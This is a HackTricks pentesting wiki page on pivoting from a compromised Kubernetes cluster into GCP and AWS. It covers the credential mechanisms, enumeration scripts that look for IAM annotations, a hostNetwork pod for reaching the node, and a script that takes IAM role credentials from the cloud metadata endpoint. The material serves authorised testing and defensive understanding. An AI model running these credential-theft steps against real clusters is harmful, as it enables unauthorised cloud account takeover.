HackTricks Cloud
HackTricks Cloud
HackTricks CloudAfrikaans - Ht CloudChinese - Ht CloudEspañol - Ht CloudFrançais - Ht CloudGerman - Ht CloudGreek - Ht CloudHindi - Ht CloudItalian - Ht CloudJapanese - Ht CloudKorean - Ht CloudPolish - Ht CloudPortuguês - Ht CloudSerbian - Ht CloudSwahili - Ht CloudTurkish - Ht CloudUkranian - Ht Cloud
HackTricks TrainingTwitterLinkedinSponsor
HackTricks TrainingTwitterLinkedinSponsor
  • 👽Welcome!
    • HackTricks Cloud
    • About the Author
    • HackTricks Values & faq
  • 🏭Pentesting CI/CD
    • Pentesting CI/CD Methodology
    • Github Security
      • Abusing Github Actions
        • Gh Actions - Artifact Poisoning
        • GH Actions - Cache Poisoning
        • Gh Actions - Context Script Injections
      • Accessible Deleted Data in Github
      • Basic Github Information
    • Gitea Security
      • Basic Gitea Information
    • Concourse Security
      • Concourse Architecture
      • Concourse Lab Creation
      • Concourse Enumeration & Attacks
    • CircleCI Security
    • TravisCI Security
      • Basic TravisCI Information
    • Jenkins Security
      • Basic Jenkins Information
      • Jenkins RCE with Groovy Script
      • Jenkins RCE Creating/Modifying Project
      • Jenkins RCE Creating/Modifying Pipeline
      • Jenkins Arbitrary File Read to RCE via "Remember Me"
      • Jenkins Dumping Secrets from Groovy
    • Apache Airflow Security
      • Airflow Configuration
      • Airflow RBAC
    • Terraform Security
    • Atlantis Security
    • Cloudflare Security
      • Cloudflare Domains
      • Cloudflare Zero Trust Network
    • Okta Security
      • Okta Hardening
    • Supabase Security
    • Ansible Tower / AWX / Automation controller Security
    • TODO
  • ⛈️Pentesting Cloud
    • Pentesting Cloud Methodology
    • Kubernetes Pentesting
      • Kubernetes Basics
      • Pentesting Kubernetes Services
        • Kubelet Authentication & Authorization
      • Exposing Services in Kubernetes
      • Attacking Kubernetes from inside a Pod
      • Kubernetes Enumeration
      • Kubernetes Role-Based Access Control(RBAC)
      • Abusing Roles/ClusterRoles in Kubernetes
        • Pod Escape Privileges
        • Kubernetes Roles Abuse Lab
      • Kubernetes Namespace Escalation
      • Kubernetes External Secret Operator
      • Kubernetes Pivoting to Clouds
      • Kubernetes Network Attacks
      • Kubernetes Hardening
        • Kubernetes SecurityContext(s)
      • Kubernetes OPA Gatekeeper
        • Kubernetes OPA Gatekeeper bypass
      • Kubernetes Kyverno
        • Kubernetes Kyverno bypass
      • Kubernetes ValidatingWebhookConfiguration
    • GCP Pentesting
      • GCP - Basic Information
        • GCP - Federation Abuse
      • GCP - Permissions for a Pentest
      • GCP - Post Exploitation
        • GCP - App Engine Post Exploitation
        • GCP - Artifact Registry Post Exploitation
        • GCP - Cloud Build Post Exploitation
        • GCP - Cloud Functions Post Exploitation
        • GCP - Cloud Run Post Exploitation
        • GCP - Cloud Shell Post Exploitation
        • GCP - Cloud SQL Post Exploitation
        • GCP - Compute Post Exploitation
        • GCP - Filestore Post Exploitation
        • GCP - IAM Post Exploitation
        • GCP - KMS Post Exploitation
        • GCP - Logging Post Exploitation
        • GCP - Monitoring Post Exploitation
        • GCP - Pub/Sub Post Exploitation
        • GCP - Secretmanager Post Exploitation
        • GCP - Security Post Exploitation
        • GCP - Workflows Post Exploitation
        • GCP - Storage Post Exploitation
      • GCP - Privilege Escalation
        • GCP - Apikeys Privesc
        • GCP - AppEngine Privesc
        • GCP - Artifact Registry Privesc
        • GCP - Batch Privesc
        • GCP - BigQuery Privesc
        • GCP - ClientAuthConfig Privesc
        • GCP - Cloudbuild Privesc
        • GCP - Cloudfunctions Privesc
        • GCP - Cloudidentity Privesc
        • GCP - Cloud Scheduler Privesc
        • GCP - Compute Privesc
          • GCP - Add Custom SSH Metadata
        • GCP - Composer Privesc
        • GCP - Container Privesc
        • GCP - Deploymentmaneger Privesc
        • GCP - IAM Privesc
        • GCP - KMS Privesc
        • GCP - Orgpolicy Privesc
        • GCP - Pubsub Privesc
        • GCP - Resourcemanager Privesc
        • GCP - Run Privesc
        • GCP - Secretmanager Privesc
        • GCP - Serviceusage Privesc
        • GCP - Sourcerepos Privesc
        • GCP - Storage Privesc
        • GCP - Workflows Privesc
        • GCP - Generic Permissions Privesc
        • GCP - Network Docker Escape
        • GCP - local privilege escalation ssh pivoting
      • GCP - Persistence
        • GCP - API Keys Persistence
        • GCP - App Engine Persistence
        • GCP - Artifact Registry Persistence
        • GCP - BigQuery Persistence
        • GCP - Cloud Functions Persistence
        • GCP - Cloud Run Persistence
        • GCP - Cloud Shell Persistence
        • GCP - Cloud SQL Persistence
        • GCP - Compute Persistence
        • GCP - Dataflow Persistence
        • GCP - Filestore Persistence
        • GCP - Logging Persistence
        • GCP - Secret Manager Persistence
        • GCP - Storage Persistence
        • GCP - Token Persistance
      • GCP - Services
        • GCP - AI Platform Enum
        • GCP - API Keys Enum
        • GCP - App Engine Enum
        • GCP - Artifact Registry Enum
        • GCP - Batch Enum
        • GCP - Bigquery Enum
        • GCP - Bigtable Enum
        • GCP - Cloud Build Enum
        • GCP - Cloud Functions Enum
        • GCP - Cloud Run Enum
        • GCP - Cloud Shell Enum
        • GCP - Cloud SQL Enum
        • GCP - Cloud Scheduler Enum
        • GCP - Compute Enum
          • GCP - Compute Instances
          • GCP - VPC & Networking
        • GCP - Composer Enum
        • GCP - Containers & GKE Enum
        • GCP - DNS Enum
        • GCP - Filestore Enum
        • GCP - Firebase Enum
        • GCP - Firestore Enum
        • GCP - IAM, Principals & Org Policies Enum
        • GCP - KMS Enum
        • GCP - Logging Enum
        • GCP - Memorystore Enum
        • GCP - Monitoring Enum
        • GCP - Pub/Sub Enum
        • GCP - Secrets Manager Enum
        • GCP - Security Enum
        • GCP - Source Repositories Enum
        • GCP - Spanner Enum
        • GCP - Stackdriver Enum
        • GCP - Storage Enum
        • GCP - Workflows Enum
      • GCP <--> Workspace Pivoting
        • GCP - Understanding Domain-Wide Delegation
      • GCP - Unauthenticated Enum & Access
        • GCP - API Keys Unauthenticated Enum
        • GCP - App Engine Unauthenticated Enum
        • GCP - Artifact Registry Unauthenticated Enum
        • GCP - Cloud Build Unauthenticated Enum
        • GCP - Cloud Functions Unauthenticated Enum
        • GCP - Cloud Run Unauthenticated Enum
        • GCP - Cloud SQL Unauthenticated Enum
        • GCP - Compute Unauthenticated Enum
        • GCP - IAM, Principals & Org Unauthenticated Enum
        • GCP - Source Repositories Unauthenticated Enum
        • GCP - Storage Unauthenticated Enum
          • GCP - Public Buckets Privilege Escalation
    • GWS - Workspace Pentesting
      • GWS - Post Exploitation
      • GWS - Persistence
      • GWS - Workspace Sync Attacks (GCPW, GCDS, GPS, Directory Sync with AD & EntraID)
        • GWS - Admin Directory Sync
        • GCDS - Google Cloud Directory Sync
        • GCPW - Google Credential Provider for Windows
        • GPS - Google Password Sync
      • GWS - Google Platforms Phishing
        • GWS - App Scripts
    • AWS Pentesting
      • AWS - Basic Information
        • AWS - Federation Abuse
      • AWS - Permissions for a Pentest
      • AWS - Persistence
        • AWS - API Gateway Persistence
        • AWS - Cognito Persistence
        • AWS - DynamoDB Persistence
        • AWS - EC2 Persistence
        • AWS - ECR Persistence
        • AWS - ECS Persistence
        • AWS - Elastic Beanstalk Persistence
        • AWS - EFS Persistence
        • AWS - IAM Persistence
        • AWS - KMS Persistence
        • AWS - Lambda Persistence
          • AWS - Abusing Lambda Extensions
          • AWS - Lambda Layers Persistence
        • AWS - Lightsail Persistence
        • AWS - RDS Persistence
        • AWS - S3 Persistence
        • AWS - SNS Persistence
        • AWS - Secrets Manager Persistence
        • AWS - SQS Persistence
        • AWS - SSM Perssitence
        • AWS - Step Functions Persistence
        • AWS - STS Persistence
      • AWS - Post Exploitation
        • AWS - API Gateway Post Exploitation
        • AWS - CloudFront Post Exploitation
        • AWS - CodeBuild Post Exploitation
          • AWS Codebuild - Token Leakage
        • AWS - Control Tower Post Exploitation
        • AWS - DLM Post Exploitation
        • AWS - DynamoDB Post Exploitation
        • AWS - EC2, EBS, SSM & VPC Post Exploitation
          • AWS - EBS Snapshot Dump
          • AWS - Malicious VPC Mirror
        • AWS - ECR Post Exploitation
        • AWS - ECS Post Exploitation
        • AWS - EFS Post Exploitation
        • AWS - EKS Post Exploitation
        • AWS - Elastic Beanstalk Post Exploitation
        • AWS - IAM Post Exploitation
        • AWS - KMS Post Exploitation
        • AWS - Lambda Post Exploitation
          • AWS - Steal Lambda Requests
        • AWS - Lightsail Post Exploitation
        • AWS - Organizations Post Exploitation
        • AWS - RDS Post Exploitation
        • AWS - S3 Post Exploitation
        • AWS - Secrets Manager Post Exploitation
        • AWS - SES Post Exploitation
        • AWS - SNS Post Exploitation
        • AWS - SQS Post Exploitation
        • AWS - SSO & identitystore Post Exploitation
        • AWS - Step Functions Post Exploitation
        • AWS - STS Post Exploitation
        • AWS - VPN Post Exploitation
      • AWS - Privilege Escalation
        • AWS - Apigateway Privesc
        • AWS - Chime Privesc
        • AWS - Codebuild Privesc
        • AWS - Codepipeline Privesc
        • AWS - Codestar Privesc
          • codestar:CreateProject, codestar:AssociateTeamMember
          • iam:PassRole, codestar:CreateProject
        • AWS - Cloudformation Privesc
          • iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks
        • AWS - Cognito Privesc
        • AWS - Datapipeline Privesc
        • AWS - Directory Services Privesc
        • AWS - DynamoDB Privesc
        • AWS - EBS Privesc
        • AWS - EC2 Privesc
        • AWS - ECR Privesc
        • AWS - ECS Privesc
        • AWS - EFS Privesc
        • AWS - Elastic Beanstalk Privesc
        • AWS - EMR Privesc
        • AWS - EventBridge Scheduler Privesc
        • AWS - Gamelift
        • AWS - Glue Privesc
        • AWS - IAM Privesc
        • AWS - KMS Privesc
        • AWS - Lambda Privesc
        • AWS - Lightsail Privesc
        • AWS - Mediapackage Privesc
        • AWS - MQ Privesc
        • AWS - MSK Privesc
        • AWS - RDS Privesc
        • AWS - Redshift Privesc
        • AWS - Route53 Privesc
        • AWS - SNS Privesc
        • AWS - SQS Privesc
        • AWS - SSO & identitystore Privesc
        • AWS - Organizations Privesc
        • AWS - S3 Privesc
        • AWS - Sagemaker Privesc
        • AWS - Secrets Manager Privesc
        • AWS - SSM Privesc
        • AWS - Step Functions Privesc
        • AWS - STS Privesc
        • AWS - WorkDocs Privesc
      • AWS - Services
        • AWS - Security & Detection Services
          • AWS - CloudTrail Enum
          • AWS - CloudWatch Enum
          • AWS - Config Enum
          • AWS - Control Tower Enum
          • AWS - Cost Explorer Enum
          • AWS - Detective Enum
          • AWS - Firewall Manager Enum
          • AWS - GuardDuty Enum
          • AWS - Inspector Enum
          • AWS - Macie Enum
          • AWS - Security Hub Enum
          • AWS - Shield Enum
          • AWS - Trusted Advisor Enum
          • AWS - WAF Enum
        • AWS - API Gateway Enum
        • AWS - Certificate Manager (ACM) & Private Certificate Authority (PCA)
        • AWS - CloudFormation & Codestar Enum
        • AWS - CloudHSM Enum
        • AWS - CloudFront Enum
        • AWS - Codebuild Enum
        • AWS - Cognito Enum
          • Cognito Identity Pools
          • Cognito User Pools
        • AWS - DataPipeline, CodePipeline & CodeCommit Enum
        • AWS - Directory Services / WorkDocs Enum
        • AWS - DocumentDB Enum
        • AWS - DynamoDB Enum
        • AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
          • AWS - Nitro Enum
          • AWS - VPC & Networking Basic Information
        • AWS - ECR Enum
        • AWS - ECS Enum
        • AWS - EKS Enum
        • AWS - Elastic Beanstalk Enum
        • AWS - ElastiCache
        • AWS - EMR Enum
        • AWS - EFS Enum
        • AWS - EventBridge Scheduler Enum
        • AWS - Kinesis Data Firehose Enum
        • AWS - IAM, Identity Center & SSO Enum
        • AWS - KMS Enum
        • AWS - Lambda Enum
        • AWS - Lightsail Enum
        • AWS - MQ Enum
        • AWS - MSK Enum
        • AWS - Organizations Enum
        • AWS - Redshift Enum
        • AWS - Relational Database (RDS) Enum
        • AWS - Route53 Enum
        • AWS - Secrets Manager Enum
        • AWS - SES Enum
        • AWS - SNS Enum
        • AWS - SQS Enum
        • AWS - S3, Athena & Glacier Enum
        • AWS - Step Functions Enum
        • AWS - STS Enum
        • AWS - Other Services Enum
      • AWS - Unauthenticated Enum & Access
        • AWS - Accounts Unauthenticated Enum
        • AWS - API Gateway Unauthenticated Enum
        • AWS - Cloudfront Unauthenticated Enum
        • AWS - Cognito Unauthenticated Enum
        • AWS - CodeBuild Unauthenticated Access
        • AWS - DocumentDB Unauthenticated Enum
        • AWS - DynamoDB Unauthenticated Access
        • AWS - EC2 Unauthenticated Enum
        • AWS - ECR Unauthenticated Enum
        • AWS - ECS Unauthenticated Enum
        • AWS - Elastic Beanstalk Unauthenticated Enum
        • AWS - Elasticsearch Unauthenticated Enum
        • AWS - IAM & STS Unauthenticated Enum
        • AWS - Identity Center & SSO Unauthenticated Enum
        • AWS - IoT Unauthenticated Enum
        • AWS - Kinesis Video Unauthenticated Enum
        • AWS - Lambda Unauthenticated Access
        • AWS - Media Unauthenticated Enum
        • AWS - MQ Unauthenticated Enum
        • AWS - MSK Unauthenticated Enum
        • AWS - RDS Unauthenticated Enum
        • AWS - Redshift Unauthenticated Enum
        • AWS - SQS Unauthenticated Enum
        • AWS - SNS Unauthenticated Enum
        • AWS - S3 Unauthenticated Enum
    • Azure Pentesting
      • Az - Basic Information
        • Az - Tokens & Public Applications
      • Az - Enumeration Tools
      • Az - Unauthenticated Enum & Initial Entry
        • Az - OAuth Apps Phishing
        • Az - Device Code Authentication Phishing
        • Az - Password Spraying
      • Az - Services
        • Az - Entra ID (AzureAD) & Azure IAM
        • Az - Management Groups, Subscriptions & Resource Groups
        • Az - ACR
        • Az - Application Proxy
        • Az - ARM Templates / Deployments
        • Az - Automation Account
          • Az - State Configuration RCE
        • Az - Azure App Service & Function Apps
        • Az - Storage Accounts & Blobs
        • Az - File Shares
        • Az - Table Storage
        • Az - Queue Storage
        • Az - Service Bus
        • Az - Intune
        • Az - Key Vault
        • Az - Logic Apps
        • Az - SQL
        • Az - Virtual Machines & Network
          • Az - Azure Network
      • Az - Permissions for a Pentest
      • Az - Lateral Movement (Cloud - On-Prem)
        • Az AD Connect - Hybrid Identity
          • Az- Synchronising New Users
          • Az - Default Applications
          • Az - Cloud Kerberos Trust
          • Az - Federation
          • Az - PHS - Password Hash Sync
          • Az - PTA - Pass-through Authentication
          • Az - Seamless SSO
          • Az - Arc vulnerable GPO Deploy Script
        • Az - Local Cloud Credentials
        • Az - Pass the Cookie
        • Az - Pass the Certificate
        • Az - Pass the PRT
        • Az - Phishing Primary Refresh Token (Microsoft Entra)
        • Az - Processes Memory Access Token
        • Az - Primary Refresh Token (PRT)
      • Az - Post Exploitation
        • Az - Key Vault Post Exploitation
        • Az - File Share Post Exploitation
        • Az - Table Storage Post Exploitation
        • Az - Blob Storage Post Exploitation
        • Az - Queue Storage Post Exploitation
        • Az - Service Bus Post Exploitation
      • Az - Privilege Escalation
        • Az - Azure IAM Privesc (Authorization)
        • Az - EntraID Privesc
          • Az - Conditional Access Policies & MFA Bypass
          • Az - Dynamic Groups Privesc
        • Az - Key Vault Privesc
        • Az - Queue Storage Privesc
        • Az - Service Bus Privesc
        • Az - Storage Privesc
      • Az - Persistence
        • Az - Storage Persistence
        • Az - Queue Storage Persistence
      • Az - Device Registration
    • Digital Ocean Pentesting
      • DO - Basic Information
      • DO - Permissions for a Pentest
      • DO - Services
        • DO - Apps
        • DO - Container Registry
        • DO - Databases
        • DO - Droplets
        • DO - Functions
        • DO - Images
        • DO - Kubernetes (DOKS)
        • DO - Networking
        • DO - Projects
        • DO - Spaces
        • DO - Volumes
    • IBM Cloud Pentesting
      • IBM - Hyper Protect Crypto Services
      • IBM - Hyper Protect Virtual Server
      • IBM - Basic Information
    • OpenShift Pentesting
      • OpenShift - Basic information
      • Openshift - SCC
      • OpenShift - Jenkins
        • OpenShift - Jenkins Build Pod Override
      • OpenShift - Privilege Escalation
        • OpenShift - Missing Service Account
        • OpenShift - Tekton
        • OpenShift - SCC bypass
  • 🛫Pentesting Network Services
    • HackTricks Pentesting Network
    • HackTricks Pentesting Services
Powered by GitBook
On this page
  • GCP
  • Mounting GCP-SA keys as secret
  • Relating GSA json to KSA secret
  • GKE Workload Identity
  • AWS
  • Kiam & Kube2IAM (IAM role for Pods)
  • IAM Role for K8s Service Accounts via OIDC
  • Find Pods a SAs with IAM Roles in the Cluster
  • Node IAM Role
  • Steal IAM Role Token
  • References

Was this helpful?

Edit on GitHub

Kubernetes Pivoting to Clouds

PreviousKubernetes External Secret OperatorNextKubernetes Network Attacks

Last updated 4 months ago

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
  • Check the subscription plans!

  • Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

  • Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

GCP

If you are running a k8s cluster inside GCP you will probably want that some application running inside the cluster has some access to GCP. There are 2 common ways of doing that:

Mounting GCP-SA keys as secret

A common way to give access to a kubernetes application to GCP is to:

  • Create a GCP Service Account

  • Bind on it the desired permissions

  • Download a json key of the created SA

  • Mount it as a secret inside the pod

  • Set the GOOGLE_APPLICATION_CREDENTIALS environment variable pointing to the path where the json is.

Therefore, as an attacker, if you compromise a container inside a pod, you should check for that env variable and json files with GCP credentials.

Relating GSA json to KSA secret

A way to give access to a GSA to a GKE cluser is by binding them in this way:

  • Create a Kubernetes service account in the same namespace as your GKE cluster using the following command:

Copy codekubectl create serviceaccount <service-account-name>
  • Create a Kubernetes Secret that contains the credentials of the GCP service account you want to grant access to the GKE cluster. You can do this using the gcloud command-line tool, as shown in the following example:

Copy codegcloud iam service-accounts keys create <key-file-name>.json \
    --iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
    --from-file=key.json=<key-file-name>.json
  • Bind the Kubernetes Secret to the Kubernetes service account using the following command:

Copy codekubectl annotate serviceaccount <service-account-name> \
    iam.gke.io/gcp-service-account=<gcp-service-account-email>

In the second step it was set the credentials of the GSA as secret of the KSA. Then, if you can read that secret from inside the GKE cluster, you can escalate to that GCP service account.

GKE Workload Identity

With Workload Identity, we can configure a Kubernetes service account to act as a Google service account. Pods running with the Kubernetes service account will automatically authenticate as the Google service account when accessing Google Cloud APIs.

The first series of steps to enable this behaviour is to enable Workload Identity in GCP (steps) and create the GCP SA you want k8s to impersonate.

  • Enable Workload Identity on a new cluster

gcloud container clusters update <cluster_name> \
    --region=us-central1 \
    --workload-pool=<project-id>.svc.id.goog
  • Create/Update a new nodepool (Autopilot clusters don't need this)

# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
  • Create the GCP Service Account to impersonate from K8s with GCP permissions:

# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
    --member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
    --role "roles/iam.securityReviewer"
  • Connect to the cluster and create the service account to use

# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
  • Bind the GSA with the KSA

# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
    --role roles/iam.workloadIdentityUser \
    --member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
    --namespace testing \
    iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
  • Run a pod with the KSA and check the access to GSA:

# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
  name: workload-identity-test
  namespace: <namespace>
spec:
  containers:
  - image: google/cloud-sdk:slim
    name: workload-identity-test
    command: ['sleep','infinity']
  serviceAccountName: ksa2gcp
  nodeSelector:
    iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
  --namespace testing \
  -- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

Check the following command to authenticate in case needed:

gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

As an attacker inside K8s you should search for SAs with the iam.gke.io/gcp-service-account annotation as that indicates that the SA can access something in GCP. Another option would be to try to abuse each KSA in the cluster and check if it has access. From GCP is always interesting to enumerate the bindings and know which access are you giving to SAs inside Kubernetes.

This is a script to easily iterate over the all the pods definitions looking for that annotation:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
    for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
        echo "Pod: $ns/$pod"
        kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
        echo ""
        echo ""
    done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (IAM role for Pods)

An (outdated) way to give IAM Roles to Pods is to use a Kiam or a Kube2IAM server. Basically you will need to run a daemonset in your cluster with a kind of privileged IAM role. This daemonset will be the one that will give access to IAM roles to the pods that need it.

First of all you need to configure which roles can be accessed inside the namespace, and you do that with an annotation inside the namespace object:

Kiam
kind: Namespace
metadata:
  name: iam-example
  annotations:
    iam.amazonaws.com/permitted: ".*"
Kube2iam
apiVersion: v1
kind: Namespace
metadata:
  annotations:
    iam.amazonaws.com/allowed-roles: |
      ["role-arn"]
  name: default

Once the namespace is configured with the IAM roles the Pods can have you can indicate the role you want on each pod definition with something like:

Kiam & Kube2iam
kind: Pod
metadata:
  name: foo
  namespace: external-id-example
  annotations:
    iam.amazonaws.com/role: reportingdb-reader

As an attacker, if you find these annotations in pods or namespaces or a kiam/kube2iam server running (in kube-system probably) you can impersonate every role that is already used by pods and more (if you have access to AWS account enumerate the roles).

Create Pod with IAM Role

The IAM role to indicate must be in the same AWS account as the kiam/kube2iam role and that role must be able to access it.

echo 'apiVersion: v1
kind: Pod
metadata:
  annotations:
    iam.amazonaws.com/role: transaction-metadata
  name: alpine
  namespace: eevee
spec:
  containers:
  - name: alpine
    image: alpine
    command: ["/bin/sh"]
    args: ["-c", "sleep 100000"]' | kubectl apply -f -

IAM Role for K8s Service Accounts via OIDC

This is the recommended way by AWS.

  1. First of all you need to create an OIDC provider for the cluster.

  2. Then you create an IAM role with the permissions the SA will require.

  3. Create a trust relationship between the IAM role and the SA name (or the namespaces giving access to the role to all the SAs of the namespace). The trust relationship will mainly check the OIDC provider name, the namespace name and the SA name.

  4. Finally, create a SA with an annotation indicating the ARN of the role, and the pods running with that SA will have access to the token of the role. The token is written inside a file and the path is specified in AWS_WEB_IDENTITY_TOKEN_FILE (default: /var/run/secrets/eks.amazonaws.com/serviceaccount/token)

# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
  name: my-service-account
  namespace: default
  annotations:
    eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

To get aws using the token from /var/run/secrets/eks.amazonaws.com/serviceaccount/token run:

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

As an attacker, if you can enumerate a K8s cluster, check for service accounts with that annotation to escalate to AWS. To do so, just exec/create a pod using one of the IAM privileged service accounts and steal the token.

Moreover, if you are inside a pod, check for env variables like AWS_ROLE_ARN and AWS_WEB_IDENTITY_TOKEN.

Sometimes the Turst Policy of a role might be bad configured and instead of giving AssumeRole access to the expected service account, it gives it to all the service accounts. Therefore, if you are capable of write an annotation on a controlled service account, you can access the role.

Check the following page for more information:

AWS - Federation Abuse

Find Pods a SAs with IAM Roles in the Cluster

This is a script to easily iterate over the all the pods and sas definitions looking for that annotation:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
    for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
        echo "Pod: $ns/$pod"
        kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
        echo ""
        echo ""
    done
    for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
        echo "SA: $ns/$sa"
        kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
        echo ""
        echo ""
    done
done | grep -B 1 "amazonaws.com"

Node IAM Role

The previos section was about how to steal IAM Roles with pods, but note that a Node of the K8s cluster is going to be an instance inside the cloud. This means that the Node is highly probable going to have a new IAM role you can steal (note that usually all the nodes of a K8s cluster will have the same IAM role, so it might not be worth it to try to check on each node).

There is however an important requirement to access the metadata endpoint from the node, you need to be in the node (ssh session?) or at least have the same network:

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

Steal IAM Role Token

Previously we have discussed how to attach IAM Roles to Pods or even how to escape to the Node to steal the IAM Role the instance has attached to it.

You can use the following script to steal your new hard worked IAM role credentials:

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
    echo "IAM Role discovered: $IAM_ROLE_NAME"
    if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
        echo "Credentials:"
        curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
    fi
fi

References

  • https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity

  • https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c

  • https://blogs.halodoc.io/iam-roles-for-service-accounts-2/

Support HackTricks
  • Check the subscription plans!

  • Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

  • Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)